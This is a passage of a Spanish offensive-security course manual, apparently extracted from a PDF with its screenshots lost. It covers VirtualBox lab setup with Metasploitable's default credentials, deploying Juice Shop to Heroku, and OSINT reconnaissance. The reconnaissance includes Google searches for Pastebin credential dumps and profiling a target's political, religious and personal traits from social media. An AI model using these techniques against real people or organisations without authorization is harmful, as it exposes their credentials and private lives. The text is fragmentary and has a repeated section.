Notas de Seguridad Informatica Ofensiva
Notas de Seguridad Informatica Ofensiva
Introduction 1.1
Máquinas virtuales con virtualbox 1.2
Despliegue de aplicaciones con github y heroku 1.3
Recopilación de información 1.4
Escaneando 1.5
Enumeración 1.6
Ataques contra crendenciales de usuario 1.7
Tras ganar acceso 1.8
Web 1.9
Ataques a bases de datos 1.10
Ataques a redes inalámbricas 1.11
Moviles android 1.12
Backdoors 1.13
Criptografía 1.14
1
Introduction
Descargo de Responsabilidad
Toda la información que se expone a continuación sólo tiene fines educativos y pretende
servir como manual del material que se ha visto en clase o como guía para cualquier
persona interasada en la seguridad informática desde el punto de vista ofensivo. Como
autor de este material, no me hago responsable de cualquier uso indebido que se haga de
esta información. Para la mayoría de las pruebas que se enseñan en este manual se
requiere autorización legal por escrito del propietario del activo sobre el que se realice la
prueba.
Github
Existe una versión de este contenido en Github
Licencia
Esta obra está bajo una Licencia Creative Commons Atribución-CompartirIgual 4.0
Internacional.
2
Introduction
3
Máquinas virtuales con virtualbox
NOTA IMPORTANTE
Aunque se debería comprobar la integridad, siempre que fuese posible, de todos los
ficheros que descarguemos, en esta guía, por agilizar, de momento sólo mostraremos como
hacerlo, desde Windows, en la instalación de la máquina virtual de Ubuntu.
1. Instalando virtualbox
Instalando Virtualbox
Configurar una red en NAT
Configurar una segunda red en NAT para los ejemplos de pivoting
3. Metasploitable 2
Instalando metasploitable 2
Configurando el servicio snmp
4. Windows 7
Instalando la máquina virtual de windows 7
Configurando el idioma
Configurando las opciones de energía
5. Windows 10
Instalando la máquina virtual de windows 10
Configurando el idioma
Configurando las opciones de energía
Configuración para el ejercicio de pivoting
4
Máquinas virtuales con virtualbox
8. Hackademic RTB2
10. Android-x86
1. Instalando virtualbox
Instalando Virtualbox
Descargamos la versión para windows de la web de virtualbox haciendo click en Windows
hosts:
Después descargamos el extensión pack pra virtualbox haciendo click en All supported
platforms:
5
Máquinas virtuales con virtualbox
6
Máquinas virtuales con virtualbox
7
Máquinas virtuales con virtualbox
8
Máquinas virtuales con virtualbox
9
Máquinas virtuales con virtualbox
Una vez instalado virtualbox, instalamos el extension pack. Para ello, lo ejecutamos
haciendo doble click:
10
Máquinas virtuales con virtualbox
11
Máquinas virtuales con virtualbox
Se creará un nuevo NatNetwork. Ahora pulsamos en el botón con el icono engranaje para
configurarlo:
12
Máquinas virtuales con virtualbox
Establecemos la red que queremos -para seguir los ejemplos del libro se ha elegido la red
[Link]/24- y pulsamos el botón OK:
13
Máquinas virtuales con virtualbox
14
Máquinas virtuales con virtualbox
Se creará un nuevo NatNetwork. Ahora pulsamos en el botón con el icono engranaje para
configurarlo:
15
Máquinas virtuales con virtualbox
16
Máquinas virtuales con virtualbox
Una vez descargada, abrimos virtualbox y seleccionamos Import Appliance... del menú File:
17
Máquinas virtuales con virtualbox
18
Máquinas virtuales con virtualbox
19
Máquinas virtuales con virtualbox
20
Máquinas virtuales con virtualbox
Antes de iniciarla, pulsamos en Settings para poner la máquina virtual en la red que hemos
configurado:
Para ello vamos a la pestaña Network y seleccionamos la opción NAT Network del menú
Attached to:
21
Máquinas virtuales con virtualbox
En las opciones avanzadas, seleccionamos la opción Allow All del menú Promiscuous
Mode:
22
Máquinas virtuales con virtualbox
Tras ello pulsamos el botón OK e iniciamos Kali Linux pulsando el botón Start:
y la contraseña toor:
23
Máquinas virtuales con virtualbox
Una vez entremos en Kali, pulsamos en la flecha situada en la esquina superior derecha
para desplegar el menú y hacemos click sobre el icono redondo que contiene herramientas:
24
Máquinas virtuales con virtualbox
seleccionamos Spanish:
25
Máquinas virtuales con virtualbox
26
Máquinas virtuales con virtualbox
27
Máquinas virtuales con virtualbox
28
Máquinas virtuales con virtualbox
29
Máquinas virtuales con virtualbox
30
Máquinas virtuales con virtualbox
Metasploitable 2
Instalando metasploitable 2
Descargamos Metasploitable 2
31
Máquinas virtuales con virtualbox
32
Máquinas virtuales con virtualbox
A continuación, seleccionamos la opción Use an existing virtual hard disk file y pulsamos el
icono de la carpeta para buscarlo:
33
Máquinas virtuales con virtualbox
34
Máquinas virtuales con virtualbox
En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:
35
Máquinas virtuales con virtualbox
36
Máquinas virtuales con virtualbox
Cuando apareca la pantalla de logín, vemos que nos indica que las credenciales son:
Usuario: msfadmin
Contraseña: msfadmin
37
Máquinas virtuales con virtualbox
Ahora editaremos la configuración del servicio snmp para que, en vez de sólo estar a la
escucha en localhost, lo este en la red NAT que hemos creado. Para editar la configuración
del servicio snmp, editamos el fichero /etc/default/snmpd con cualquier editor de texto. En
este caso usamos nano:
38
Máquinas virtuales con virtualbox
Una vez se abrá el fichero, tenemos que localizar la dirección IP del localhost ([Link]) de
la línea que empieza por SNMPDOPTS:
Una vez localizada, borramos la dirección IP. La línea debería quedar así:
39
Máquinas virtuales con virtualbox
Una vez modificada la línea pulsamos la combinación de teclas Ctrl+X para salir:
Pulsamos la tecla Y para confirmar que queremos guardar los cambios que hemos
realizado al fichero:
40
Máquinas virtuales con virtualbox
Una vez realizado los cambios en el fichero podemos iniciar el servicio snmp tecleando:
sudo /etc/init.d/snmpd start y autorizando la operación con nuestra contraseña (msfadmin):
41
Máquinas virtuales con virtualbox
Cuando terminemos de usar la máquina elegimos la opción Close... del menú File:
4. Windows 7
Podemos descargar una máquina virtual con windows 7 instalado a través del siguiente
enlace:
42
Máquinas virtuales con virtualbox
En este caso seleccionamos una máquina virtual con windows 7 para Virtualbox y pulsamos
el botón Download .ZIP:
43
Máquinas virtuales con virtualbox
44
Máquinas virtuales con virtualbox
45
Máquinas virtuales con virtualbox
46
Máquinas virtuales con virtualbox
47
Máquinas virtuales con virtualbox
48
Máquinas virtuales con virtualbox
49
Máquinas virtuales con virtualbox
En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:
50
Máquinas virtuales con virtualbox
51
Máquinas virtuales con virtualbox
5. Windows 10
52
Máquinas virtuales con virtualbox
En este caso seleccionamos la última versión estable de la máquina virtual con windows 10
para Virtualbox y pulsamos el botón Download .ZIP:
53
Máquinas virtuales con virtualbox
54
Máquinas virtuales con virtualbox
55
Máquinas virtuales con virtualbox
56
Máquinas virtuales con virtualbox
57
Máquinas virtuales con virtualbox
58
Máquinas virtuales con virtualbox
59
Máquinas virtuales con virtualbox
En la pestaña Network, seleccionamos la opción NAT Network del menú Attached to para
unir la máquina a nuestra red NAT:
60
Máquinas virtuales con virtualbox
En la pestaña Display, nos aseguramos que la memoria de video este en el rango verde:
61
Máquinas virtuales con virtualbox
62
Máquinas virtuales con virtualbox
Configurando el idioma
La máquina por defecto viene con distribución del teclado en inglés. Vamos a cambiarlo a
español. Iniciamos la máquina pulsando el botón Start:
63
Máquinas virtuales con virtualbox
64
Máquinas virtuales con virtualbox
65
Máquinas virtuales con virtualbox
66
Máquinas virtuales con virtualbox
67
Máquinas virtuales con virtualbox
68
Máquinas virtuales con virtualbox
Buscamos Spanish entre las opciones y una vez localizado, lo seleecionamos y pulsamos el
botón Add:
69
Máquinas virtuales con virtualbox
70
Máquinas virtuales con virtualbox
71
Máquinas virtuales con virtualbox
72
Máquinas virtuales con virtualbox
73
Máquinas virtuales con virtualbox
74
Máquinas virtuales con virtualbox
75
Máquinas virtuales con virtualbox
76
Máquinas virtuales con virtualbox
77
Máquinas virtuales con virtualbox
78
Máquinas virtuales con virtualbox
Después hacemos click en la pestaña Adapter 2 para añadir la segunda tarjeta de red:
79
Máquinas virtuales con virtualbox
80
Máquinas virtuales con virtualbox
81
Máquinas virtuales con virtualbox
82
Máquinas virtuales con virtualbox
Una vez descargado, hacemos doble click sobre el fichero para instalarlo:
83
Máquinas virtuales con virtualbox
y nuevamente en Next:
84
Máquinas virtuales con virtualbox
A continuación hacemos click en el botón Next para dejar la ruta por defecto:
85
Máquinas virtuales con virtualbox
y continuará instalandose:
86
Máquinas virtuales con virtualbox
87
Máquinas virtuales con virtualbox
88
Máquinas virtuales con virtualbox
89
Máquinas virtuales con virtualbox
90
Máquinas virtuales con virtualbox
91
Máquinas virtuales con virtualbox
92
Máquinas virtuales con virtualbox
93
Máquinas virtuales con virtualbox
94
Máquinas virtuales con virtualbox
Elegimos la interfaz de usuario que más nos guste y hacemos click en Next:
95
Máquinas virtuales con virtualbox
96
Máquinas virtuales con virtualbox
97
Máquinas virtuales con virtualbox
98
Máquinas virtuales con virtualbox
99
Máquinas virtuales con virtualbox
100
Máquinas virtuales con virtualbox
La última versión estable de ubuntu al realizar esta guía es 16.04.3 LTS. La descargamos
pulsando en el botón Download:
101
Máquinas virtuales con virtualbox
102
Máquinas virtuales con virtualbox
Hacehmos click sobre el algoritmo hash que queramos usar para la verificación. Se
recomienda usar SHA256SUMS porque tanto para SHA1 como para MD5 se han
encontrado colisiones y no son algoritmos de hashing seguros.
Tras hacer click podremos ver el hash del fichero que esta en el servidor. El que nos
interesa es el de la versión server de ubuntu que hemos descargado:
Ahora comprobamos que el hash que tiene el fichero descargado. Para calcular el hash del
fichero descargado podemos usar powershell. Desde el interprete de comandos de
windows, tecleamos powershell:
103
Máquinas virtuales con virtualbox
Veremos que estamos usando powershell porque al comienzo del promtp del interprete de
comandos, aparecen las letras PS:
Podemos usar el comando (cmdlet) Get-FileHash. Una forma de usarlo es indicarle fichero
sobre el que queremos calcular el hash y algoritmo a utilizar. En este caso usaremos
SHA256. Desde la carpeta donde hayamos descargado el archivo, ejecutamos el comando:
Si queremos ver más opciones sobre el cmdlet, Get-FileHash, podemos usar el comando
(cmdlet) Get-Help para obtener una breve información:
Una vez obtenidos los 2 hashes, tenemos que compararlos para saber que el fichero en
origen es el mismo que tenemos descargado. Para ello creamos una variable en powershell
que contenga el hash del fichero original. Como las letras de este hash están en minúsculas
104
Máquinas virtuales con virtualbox
Ahora creamos otra variable para guardar el valor hash del fichero descargado que se ha
calculado desde powershell usando el comando (cmdlet) Get-FileHash:
105
Máquinas virtuales con virtualbox
Le damos un nombre a la máquina virtual. En este caso, Ubuntu 16.04.3 LTS Server,
seleccionamos Linux en el menú desplegable Type y Ubuntu (64-bit) en el menú
desplegable Version. A continuación pulsamos el botón Create:
106
Máquinas virtuales con virtualbox
para ver las opciones de creación del disco duro virtual. Las ajustamos nuestro gusto y
pulsamos, nuevamente, el botón Create:
107
Máquinas virtuales con virtualbox
Una vez creada la máquina virtual, le tenemos que indicar el dónde se encuentra la imagen
que usaremos para instalar ubuntu. Para ello hacemos click en Storage:
108
Máquinas virtuales con virtualbox
y después hacemos click en el icono del disco a la derecha del menú desplegable Optical
Drive y seleccionamos la opción Choose Virtual Optical Disk File:
109
Máquinas virtuales con virtualbox
110
Máquinas virtuales con virtualbox
111
Máquinas virtuales con virtualbox
La primera opción es configurar el idioma. Yo la voy a instalar en inglés, pero podéis elegir
el idioma que prefirais. Una vez elegido el idioma, pulsamos la tecla Intro:
112
Máquinas virtuales con virtualbox
113
Máquinas virtuales con virtualbox
Seleccionamos el idioma para la instalacion -en mi caso inglés- y volvemos a pulsar intro:
114
Máquinas virtuales con virtualbox
115
Máquinas virtuales con virtualbox
116
Máquinas virtuales con virtualbox
117
Máquinas virtuales con virtualbox
118
Máquinas virtuales con virtualbox
119
Máquinas virtuales con virtualbox
120
Máquinas virtuales con virtualbox
121
Máquinas virtuales con virtualbox
122
Máquinas virtuales con virtualbox
Después nos solicitará el nombre completo del del usuario. En mi caso, lo dejo vacio y pulso
intro:
123
Máquinas virtuales con virtualbox
Después tenemos que crear un usuario. En este caso uso user y pulso intro:
124
Máquinas virtuales con virtualbox
125
Máquinas virtuales con virtualbox
126
Máquinas virtuales con virtualbox
Ahora seleccionamos No para que no se cifre nuestra carpeta de usuario y pulsamo intro:
127
Máquinas virtuales con virtualbox
128
Máquinas virtuales con virtualbox
129
Máquinas virtuales con virtualbox
130
Máquinas virtuales con virtualbox
131
Máquinas virtuales con virtualbox
132
Máquinas virtuales con virtualbox
133
Máquinas virtuales con virtualbox
134
Máquinas virtuales con virtualbox
135
Máquinas virtuales con virtualbox
136
Máquinas virtuales con virtualbox
A continuación nos preguntará si queremos instalar Grub como boot loader. Seleccionamos
Yes y pulsamos intro:
137
Máquinas virtuales con virtualbox
138
Máquinas virtuales con virtualbox
Una vez termine la instalación, se iniciará la máquina virtual y nos mostrará la pantalla de
login:
139
Máquinas virtuales con virtualbox
Nos identificamos con nuestro nombre de usuario y nos autenticamos con la contraseña
para el usuario:
140
Máquinas virtuales con virtualbox
apt-get update
Ahora podemos instalar el servicio ntp, usando nuevamente apt de la siguiente forma:
141
Máquinas virtuales con virtualbox
Una vez instalado, tenemos que configurarlo. Para ello, abrimos el fichero de configuración
usando un editor de texto como nano:
Primero añadimos los servidores ntp, en orden de preferencia, con los que queremos
sincronizarnos para tener la hora. En este caso hemos buscado alguno cercano en rediris y
el servidor ntp por defecto de ubuntu. Los añadimos al fichero en donde se indica en la
siguiente imagen:
142
Máquinas virtuales con virtualbox
Por defecto, el servicio ntpv4 no permite realizar consultas usando programas con ntpq, por
lo que tendremos que borrar la opción noquery que se indica en amarillo para que el
servidor permita las consultas:
143
Máquinas virtuales con virtualbox
144
Máquinas virtuales con virtualbox
A continuación, la tecla Y para confirmar que queremos guardar los cambios. Tras pulsarla
aparecerá el nombre del fichero donde se guardarán los cambios:
145
Máquinas virtuales con virtualbox
146
Máquinas virtuales con virtualbox
147
Máquinas virtuales con virtualbox
Seleccionamos la memoria:
148
Máquinas virtuales con virtualbox
149
Máquinas virtuales con virtualbox
150
Máquinas virtuales con virtualbox
151
Máquinas virtuales con virtualbox
Y en la opción Storage, hacemos click en el disco para seleccionar la imagen livecd que
usaremos:
152
Máquinas virtuales con virtualbox
Hackademic RTB2
153
Máquinas virtuales con virtualbox
154
Máquinas virtuales con virtualbox
Dejamos el giga de memoria que viene por defecto y pulsamos el botón Next:
Seleccionamos Use an existing virtual hard drive disk file y pulsamos el icono de la carpeta
con la flecha verde:
155
Máquinas virtuales con virtualbox
156
Máquinas virtuales con virtualbox
para crear la máquina virtual. Con la máquina virtual creada, hacemos click sobre Network:
ponemos la máquina en la red NAT que estemos usando y pulsamos el botón OK:
157
Máquinas virtuales con virtualbox
158
Máquinas virtuales con virtualbox
En el menú de la izquierda seleccionamos USB y hacemos click sobre el botón que tiene un
icono con un símbolo de sumar verde:
159
Máquinas virtuales con virtualbox
160
Máquinas virtuales con virtualbox
Si lo hemos hecho correctamente, una vez iniciemos la máquina virtual, podremos ejecutar
el comando iwconfig para visualizarla:
Android-x86
Vamos a descargar android-x86 para poder correr un sistema android en una máquina
virtual de virtualbox. Para ello accedemos a la web de descargas del proyecto Android-x86 y
hacemos click sobre la iso para sistemas de 64 bits:
161
Máquinas virtuales con virtualbox
y guardamos el archivo:
Una vez que se haya descargado, abrimos virtualbox y pulsamos el botón New:
162
Máquinas virtuales con virtualbox
163
Máquinas virtuales con virtualbox
164
Máquinas virtuales con virtualbox
165
Máquinas virtuales con virtualbox
Android-x86
Vamos a descargar android-x86 para poder correr un sistema android en una máquina
virtual de virtualbox. Para ello accedemos a la web de descargas del proyecto Android-x86 y
hacemos click sobre la iso para sistemas de 64 bits:
y guardamos el archivo:
Una vez que se haya descargado, abrimos virtualbox y pulsamos el botón New:
166
Máquinas virtuales con virtualbox
167
Máquinas virtuales con virtualbox
168
Máquinas virtuales con virtualbox
169
Máquinas virtuales con virtualbox
para crear la máquina virtual. Con la máquina virtual seleccionada, hacemos click en el
botón settings:
170
Máquinas virtuales con virtualbox
171
Máquinas virtuales con virtualbox
para poder seleccionar imagen de android-x86 que nos hemos descargado. Una vez
seleccionada, hacemos click en el botón OK:
Ya que tenemos la máquina lista, hacemos click en el botón Start para iniciarla:
172
Máquinas virtuales con virtualbox
173
Máquinas virtuales con virtualbox
174
Máquinas virtuales con virtualbox
Con las teclas de dirección del teclado, seleccionamos New para crear una partición:
175
Máquinas virtuales con virtualbox
176
Máquinas virtuales con virtualbox
Seleccionamos Bootable:
177
Máquinas virtuales con virtualbox
Veremos que se activa la Flag Boot. Con la flag boot activada, seleccionamos write para
escribir los cambios al disco:
178
Máquinas virtuales con virtualbox
179
Máquinas virtuales con virtualbox
180
Máquinas virtuales con virtualbox
Una vez termine el formateo de la partición, nos preguntará si queremos instalar el cargador
de arranque GRUB. Le decimos que sí:
181
Máquinas virtuales con virtualbox
y comenzar la instalación:
182
Máquinas virtuales con virtualbox
Y una vez instalado, con la opción Run Android-x86 seleccionado, podremos pulsar sobre
OK:
para iniciar la máquina android que hemos creado. En este caso dejo Estados Unidos y
pulso sobre el botón Let's Go:
183
Máquinas virtuales con virtualbox
184
Máquinas virtuales con virtualbox
Después pulsamos sobre Skip para saltarnos el paso de configurar el sistema android con
una cuenta de Google:
185
Máquinas virtuales con virtualbox
186
Máquinas virtuales con virtualbox
187
Máquinas virtuales con virtualbox
188
Máquinas virtuales con virtualbox
189
Máquinas virtuales con virtualbox
190
Máquinas virtuales con virtualbox
191
Máquinas virtuales con virtualbox
192
Máquinas virtuales con virtualbox
193
Despliegue de aplicaciones con github y heroku
Github
Bitbucket
Para el propósito de este tutorial vamos a crear una cuenta en github. Para ello, nos
registramos en github:
194
Despliegue de aplicaciones con github y heroku
Seleccionamos el plan gratuito (Unlimited public repositories for free) y pulsamos el botón
continue:
195
Despliegue de aplicaciones con github y heroku
Para comprobar que funciona, vamos a crear un proyecto pulsando el botón Start a project:
196
Despliegue de aplicaciones con github y heroku
197
Despliegue de aplicaciones con github y heroku
198
Despliegue de aplicaciones con github y heroku
una vez lo tenemos creado, vamos a hacer cambios en el repositorio usando git desde Kali
Linux. Para ello, copiamos la URL para clonarlo:
Para hacer cambios en el repositorio, primero debemos configurar git. Para ello, le
indicamos la cuenta de correo con la que nos hemos registrado usando el comando git
config:
199
Despliegue de aplicaciones con github y heroku
y el nombre de usuario:
y veremos que si ejecutamos el comando git status, se da cuenta que hemos creado este
fichero en la carpeta del repositorio:
ahora si ejecutamos git status de nuevo, veremos que a los cambios que comencemos a
hacer en este fichero, git les hará un seguimiento:
Una vez realicemos los cambios, para añadir el fichero con los cambios al repositorio,
ejecutaremos el commando git commit:
200
Despliegue de aplicaciones con github y heroku
Para subir los cambios realizados al repositorio en github usaremos el comando git push.
Tendremos que indicarle el nombre de usuario:
y la contraseña:
Para ampliar conocimientos en cómo usar git, podemos comenzar por este tutorial
interactivo gratuito que nos ofrecen desde code school:
201
Despliegue de aplicaciones con github y heroku
Una vez que vemos visto rápidamente cómo funciona git y github, vamos a ver como
integrar heroku. Heroku nos va a permitir desplegar aplicaciones en la nube (el ordenador
de otra persona) directamente desde github de forma gratuita. Funciona con los lenguajes y
frameworks de desarrollo más populares como: php, ruby on rails, django, scala, go, nodejs,
etc. Para usarlo, accedemos a la web y pulsamos el botón Sign Up for free:
202
Despliegue de aplicaciones con github y heroku
203
Despliegue de aplicaciones con github y heroku
Una vez confirmado el email, nos pedirá que pongamos una contraseña. Después pulsamos
el botón:
204
Despliegue de aplicaciones con github y heroku
y ya tenemos nuestra cuenta de heroku creada. El último paso es pulsar el boton CLICK
HERE TO PROCEED:
205
Despliegue de aplicaciones con github y heroku
Vamos a desplegar nuestra primera aplicación en heroku. Por ejemplo, vamos a desplegar
juice shop de OWASP. Para ello, accedemos al repositorio de Juice Shop en Github y
pulsamos el botón fork:
206
Despliegue de aplicaciones con github y heroku
hago, lo mismo de antes, lo clono desde kali. Para ello, copio la URL de clonado:
207
Despliegue de aplicaciones con github y heroku
Para usar heroku desde la línea de comandos debemos instalarlo. Las instrucciones de
instalación están aquí pero básicamente es ejecutar el comando:
208
Despliegue de aplicaciones con github y heroku
Podemos usar el comando git remote para verificar que se ha añadido el repositorio remoto
de heroku:
Esto quiere decir que ahora podemos subir la aplicación al repositorio de heroku usando el
comando:
209
Despliegue de aplicaciones con github y heroku
Una vez termine, nos indicará si el despliegue de la aplicación ha sido correcto y la url. En
este caso ha sido correcto:
210
Despliegue de aplicaciones con github y heroku
211
Recopilación de información
Recopilación de información
Trataremos encontrar, recopilar y procesar la mayor cantidad de información sobre el
objetivo para ayudarnos a poder indentificar vectores de ataque que, potencialmente,
puedan comprometer la confidencialidad, integridad o disponibilidad de los activos del
cliente. Casi todos los métodos que se mostrarán a continuación son pasivos porque no se
interactua directamente con el objetivo.
Metodología
Recopilaremos información de varias fuentes usando el siguiente método:
4. Páginas web
Cabeceras HTTP y código fuente
Web crawlers (Web Spiders)
Ataques de diccionario para descubrir directorios y ficheros
Web scrapers
Descargar web para navegación offline
Metadatos en archivos
212
Recopilación de información
6. Email
Recopilando emails de un dominio usando The Harvester
Buscando información en las cabeceras de un email
8. DNS
Breve introducción de manera muy informal a DNS
Consultas a servidores DNS usando nslookup
Consultas a servidores DNS usando dig
Consultas a servidores DNS usando páginas web
Referencias usadas
1. Libros
Google Hacking for Penetration Testers
Complete Guide to Shodan
213
Recopilación de información
214
Recopilación de información
215
Recopilación de información
En este caso, también podemos usar el recuadro azul para definir el alcance:
y podemos seguir añadiendo tantos subnodos como necesitemos. Por ejemplo, añadamos
el de buscadores de internet. Para ello pulsamos nuevamente el botón añadir subnodo y le
damos nombre:
216
Recopilación de información
En el recuadro azul podemos ir pegando las evidencias que recopilemos de las busquedas
en distintos navegadores:
en resumen, podremos crear todos los nodos y subnodos queramos para la auditoria que
tengamos que realizar:
217
Recopilación de información
Qwant
DuckDuckGo
Google
Bing
Existen otros sites más específicos que pueden aportarnos algo más de información:
218
Recopilación de información
Certificate Transparency
El proyecto, Certificate Transparency de Google, se ha creado para auditar y verificar
certificados TLS/SSL en tiempo real con el fin de prevenir usos fraudulentos o maliciosos de
los certificados. Aunque esto se ha creado para favorecer la seguridad, también favorece la
recopilación pasiva de información sobre un objetivo porque obliga a todas las autoridades
certificadores (CA) que participen, a publicar todos los certificados que hayan expedidos.
Esta información, entre otros, podría revelar hostnames y subdominios del objetivo. Para
realizar una busqueda accedemos al buscador de cerfificados:
219
Recopilación de información
Si pulsamos sobre See Details en cualquiera de ellos podremos ver los subdominios:
Netcraft
Netcraft puede ayudarnos a encontrar información específica sobre un objetivo. Por
ejemplo, si quisieramos recopilar información sobre el dominio [Link]:
220
Recopilación de información
IPv4info
221
Recopilación de información
IPv4info nos puede ayudar a conocer mucha información sobre la infraestructura de red de
un objetivo:
Veamos un ejemplo:
222
Recopilación de información
Censys
Censys es un buscador de dispositivos conectados a internet como frigoríficos, aparatos de
domótica, cámaras de vigilancia, ordenadores, servidores, routers, switches, etc. Lo que
hoy en día se denomina internet de las cosas (IoT). Nos va a facilitar información sobre el
activo que busquemos:
223
Recopilación de información
Shodan
Shodan es un buscador de dispositivos conectados a internet como frigoríficos, aparatos de
domótica, cámaras de vigilancia, ordenadores, servidores, routers, switches, etc. Lo que
hoy en día se denomina internet de las cosas (IoT). Nos va a facilitar información sobre el
activo que busquemos:
224
Recopilación de información
Nuevamente vemos:
225
Recopilación de información
Internet Archive
Internet Archive es una biblioteca que guarda versiones antiguas de páginas web y recursos
como videos, audios, libros, etc. Debido a que podremos acceder a versiones archivadas de
la misma página web o recurso, nos puede ser muy útil para:
226
Recopilación de información
227
Recopilación de información
A veces podremos encontrar enlaces que nos faciliten conseguir la password de la cuenta
comprometida y si no, sabiendo que ha sido comprometida, podemos buscar la contraseña
en pastebin.
Pastebin
228
Recopilación de información
Por ejemplo, si buscamos la palabra breach, nos aparecen resultados de bases de datos
que han sido comprometidas:
229
Recopilación de información
Google permite usar una serie de términos, que se denominan operadores, para filtrar las
consultas que realicemos al buscador. Podemos combinar varios operadores en la misma
busqueda. Además estos términos (operadores) pueden combinarse utilizando wildcards
(comodines) o operadores booleanos. Algunos terminos (operadores) conocidos son:
site:
230
Recopilación de información
También nos permitiría buscar los subdominios de un dominio. Para ello, utilizamos el
operador booleano de negación (-) delante de site. Es decir que si:
entonces con:
Utilizando el operador booleano de negación, podemos sacar todos los subdominios del
dominio [Link]:
231
Recopilación de información
El comodín (wildcard) asterisko (*) se puede utilizar para representar alguna palabra que no
conozcamos al hacer la busqueda. En pastebin se hacen dumps (volcados) de diversa
información como cuentas, bases de datos, etc. Estos volcados, habitualmente, incluyen
alguna palabra y después la palabra dump como account dump o nombreDeCompañia
dump. Podemos buscar los dumps usando el comodían asterisco:
232
Recopilación de información
Siguiendo con el ejemplo de los dumps, podemos añadir un parámetro en el query string de
la URL llamado as_qdr para filtrar los resultados a sitios que hayan sido actualizados desde
hace x tiempo. Por ejemplo, podemos buscar los dumps (vocados) en pastebin publicados o
actualizados en el último mes pasando el valor m1:
233
Recopilación de información
filetype:
Nos permite buscar ficheros del tipo que le indiquemos. Por ejemplo, para buscar ficheros
de tipo pdf en [Link]:
234
Recopilación de información
intitle:
235
Recopilación de información
cache:
236
Recopilación de información
Google guarda snapshots (copias) de los sitios que indexa cada cierto tiempo. El operador
cache: nos permite acceder a estas versiones (copias) de la página web. Esto nos va a
permitir, entre otros, poder navegar por un sitio web de forma pasiva o anónima de cara al
dueño del sitio ya que no interactuamos directamente con su web. Esto además nos permite
crawlear o descargar una copia de un sitio web de forma pasiva. Para ver el sitio web en
cache de [Link] utilizamos el operador cache:
237
Recopilación de información
238
Recopilación de información
Como podemos ver en el desplegable, existen varias categorias por las que podemos
buscar:
239
Recopilación de información
org
El filtro org nos permite buscar dispositivos de una organización concreta. Por ejemplo, lo
utilizamos para buscar organizaciones que contengan la palabra Net:
country
240
Recopilación de información
city
Nos permite filtrar los resultados a una ciudad concreta como Québec:
241
Recopilación de información
Al igual que ocurría en las consultas en el buscador de Google, podemos utilizar operadores
booleanos como el de negación. Por ejemplo, podemos filtrar los resultados a todas las
ciudades de Canadá menos Québec:
4. Páginas Web
La mayoría de los métodos de reconocimiento que veremos aquí son activos porque se
interactua directamente con el objetivo.
242
Recopilación de información
El código fuente de una página puede darnos muchísima información pero, de momento, se
sale del objeto del presente documento.
243
Recopilación de información
Burp Suite usa por defecto el puerto 8080, lo configuramos para que use ese puerto y
pulsamos el botón OK:
244
Recopilación de información
Si está activado el proxy lo desactivamos. Para que este desactivado tiene que poner
Intercept is off en el botón:
Como muchas páginas estan encriptadas usando TLS/SSL, necesitamos un certificado para
que burp pueda conectarse a ellas. Burp Suite nos facilita un certificado de forma gratuita,
para descargarlo debemos ir a [Link] en el navegador donde tengamos configurado el
proxy. Una vez ahí, hacemos click sobre CA Certificate y lo descargamos:
y lo descargamos:
Una vez tengamos el certificado, lo tenemos que importar en Firefox. Para ello en la sección
Advanced de las menu de preferencias (opciones) del navegador, bajo la pestaña
Certificates, hacemos click en el botón View Certificates:
245
Recopilación de información
246
Recopilación de información
Una vez tenemos Burp Suite y Firefox configurados, podemos usar la araña de Burp. Para
ello, navegamos al sitio web:
Tras acceder al sitio web, nos aparecerá en Burp bajo la pestaña Target. Pinchamos con el
botón derecho del ratón en el sitio web y hacemos click en la opción Add to Scope:
247
Recopilación de información
Aunque no entraremos en ver todas las opciones por se sale del objetivo del presente
documento, si decir que Burp tiene dos modos de crawling:
Pasivo (Passive Spidering) - registra los enlaces a los que vamos accediendo desde el
navegador
Activo - Sigue los enlaces de forma autónoma
Por defecto, Burp va a registrar todos los enlaces sobre los que nosotros como usuarios
vayamos navegando en la página web (a este modo le llama pasivo). También seguirá
todos los enlaces de forma autónoma como cualquier otra araña. Para activarla, vamos a la
pestaña Control y pulsamos sobre Spider is paused:
y comenzará a funcionar:
248
Recopilación de información
Podremos ver los resultados en la pestaña Site map debajo de la pestaña Target:
Para ver que aspecto tienen, podemos observar las primeras 10 entradas de uno de ellos:
249
Recopilación de información
Los diccionarios no sólo se usan para descubrir directorios, sino que se pueden usar para
diferentes tipos de ataques. Aparte de los que vienen incluidos en Kali, podemos encontrar
otros en internet como los que proporciona SecList:
250
Recopilación de información
-z para esperar un tiempo entre petición y petición HTTP. En este caso 2 segundos.
-H para utilizar las siguientes cabeceras del protocolo HTTP en nuestra petición:
User-Agent Esta cabecera indica al servidor web quién esta haciendo la petición.
En este caso, hemos copiado la misma cabecera que hay google chrome decirle al
servidor web que es el navegador chrome quién hace la petición
Referer esta cabecera indica la página web anterior desde la que hemos llegado a
la actual. Es bueno poner como valor de esta cabecera el de la web objetivo.
Web scrapers
Al igual que los web crawlers, los web scrapers pueden de seguir los enlaces pero además
son capaces de extraer y analizar la información que hay en las páginas web. Por ejemplo,
entre otros, pueden:
Aunque programar web scrapers se sale del objetivo de este resumen. Os dejo en enlace a
2 frameworks muy utilizados:
Scrapy
Apache Nutch
y un par de enlaces a 3 librerias de python para los que quieran algo más artesano:
Requests
BeautifulSoup
Selenium
251
Recopilación de información
también para cosas sencillas, podemos usar el comando curl para descargar el contenido
de una página -nuevamente le paso como opciones las cabeceras del protocolo HTTP
User-Agent y Referer:
y pasar el contenido al comando grep utilizando pipes para filtrar el texto. En este caso
buscamos las líneas que contengan la palabra example:
curl y grep tienen muchas opciones que se les pueden pasar que son interesantes.
httrack {[Link]
252
Recopilación de información
Metadatos en archivos
Los metadatos son información que se utiliza para describir otra información o datos. Por
ejemplo, en una fotografía, los metadatos, entre otros, podrían ser:
Existen programas como Exiftool que nos permiten ver los metadatos de un archivo. Para
instalarlo en Kali ejecutamos el siguiente commando:
253
Recopilación de información
Como ejemplo, podemos descargar una foto de dominio público utilizando el comando wget:
y ver los metadatos de la foto usando exiftool. En este caso, entre otros metadatos,
podemos ver el modelo de la cámara con que se tomó la foto y el programa que se uso:
254
Recopilación de información
Twitter
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa
Idolatrías
Intereses
Facebook
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa
255
Recopilación de información
Idolatrías
Intereses
Amistades
Rasgos de personalidad
Datos personales
Relaciones sentimentales
Gustos
Fotografías
